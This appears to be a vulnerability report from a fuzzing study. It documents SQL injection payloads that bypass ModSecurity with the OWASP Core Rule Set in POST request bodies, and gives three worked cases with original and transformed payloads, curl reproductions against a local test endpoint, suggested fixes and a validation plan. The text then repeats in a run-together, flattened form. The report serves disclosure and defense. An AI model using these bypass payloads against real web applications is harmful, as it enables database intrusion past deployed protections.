[ModSecurity][POST] SQLi bypass via predicate/operator rewrites in request-body payloads
Summary
- WAF:
ModSecurity
- Request manner:
POST
- Defect pattern: Predicate/operator rewrites in request-body payloads.
- Evaluation scope:
623 unique SQLi mutation attempts; 215 successful bypasses were observed in this manner.
- In our log format,
1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.
Environment
- WAF version:
3.0.6
- Notes: ModSecurity-nginx connector
v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.
Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
- swap_int_repr: rewrites integer literals as equivalent hexadecimal values or
(SELECT n) expressions
- spaces_to_whitespaces_alternatives: replaces ordinary whitespace with tabs, newlines, form feeds, vertical tabs, or NBSP
- command_injection: combines space-to-comment substitution with comment rewriting
Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB> = horizontal tab (\t, U+0009)
<LF> = line feed (\n, U+000A)
<CR> = carriage return (\r, U+000D)
<FF> = form feed (\f, U+000C)
<VT> = vertical tab (\v, U+000B)
<NBSP> = non-breaking space (U+00A0)
Representative Successful Examples
Case 1
- Final decision change:
1 => 0
- Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
- Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
- Transformed payload excerpt, with invisible characters rendered explicitly:
0x1%"));beginuser_lock.sleep(0x5);end/*8Z`Lf*/and (("%"="
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
POST
- Parameter name:
id
- Content-Type:
application/x-www-form-urlencoded
- Transport encoding: the form body is URL-encoded.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'id=0x1%25%22%29%29%3Bbeginuser_lock.sleep%280x5%29%3Bend%2F%2A8Z%60Lf%2A%2Fand+%28%28%22%25%22%3D%22'
Case 2
- Final decision change:
1 => 0
- Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
- Original payload excerpt:
- Transformed payload excerpt, with invisible characters rendered explicitly:
<FF>/*11Dlt*/<VT>and<TAB>'%'<LF><FF>lIKe<TAB><FF>'
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
POST
- Parameter name:
id
- Content-Type:
application/x-www-form-urlencoded
- Transport encoding: the form body is URL-encoded.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'id=%0C%2F%2A11Dlt%2A%2F%0Band%09%27%25%27%0A%0ClIKe%09%0C%27'
Case 3
- Final decision change:
1 => 0
- Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
- Original payload excerpt:
...1' or 4915=(select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3)--
- Transformed payload excerpt, with invisible characters rendered explicitly:
0x1' or 0x1333 /*0x8`D<C*/ (/*jRuA*/ count(*) /**/ domain.domains /*XmwD-*/ t1,domain.columns /*]x3A*/ t2,domain.tables t3)--
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
POST
- Parameter name:
id
- Content-Type:
application/x-www-form-urlencoded
- Transport encoding: the form body is URL-encoded.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'id=0x1%27+or+0x1333+%2F%2A0x8%60D%3CC%2A%2F+%28%2F%2AjRuA%2A%2F+count%28%2A%29+%2F%2A%2A%2F+domain.domains+%2F%2AXmwD-%2A%2F+t1%2Cdomain.columns+%2F%2A%5Dx3A%2A%2F+t2%2Cdomain.tables+t3%29--'
Suggested Fixes
- Run POST body parameters through the same decoding, canonicalization, and SQLi detection path as query-string parameters.
- Detect request-body predicates semantically rather than relying on raw-string keyword matching.
- Add these transformed payloads as regression tests and assert that they remain blocked after the fix.
Validation Plan
- Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
- Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
- Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.
[ModSecurity][POST] SQLi bypass via predicate/operator rewrites in request-body payloads
Summary
ModSecurityPOST623unique SQLi mutation attempts;215successful bypasses were observed in this manner.1 => 0means the WAF decision changed from malicious/blocked to benign/allowed.Environment
3.0.6v1.0.2; OWASP Core Rule Set3.3.2; OpenResty1.19.9.1.Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
(SELECT n)expressionsInvisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB>= horizontal tab (\t, U+0009)<LF>= line feed (\n, U+000A)<CR>= carriage return (\r, U+000D)<FF>= form feed (\f, U+000C)<VT>= vertical tab (\v, U+000B)<NBSP>= non-breaking space (U+00A0)Representative Successful Examples
Case 1
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafPOSTidapplication/x-www-form-urlencoded1 => 0).Case 2
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafPOSTidapplication/x-www-form-urlencoded1 => 0).Case 3
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafPOSTidapplication/x-www-form-urlencoded1 => 0).Suggested Fixes
Validation Plan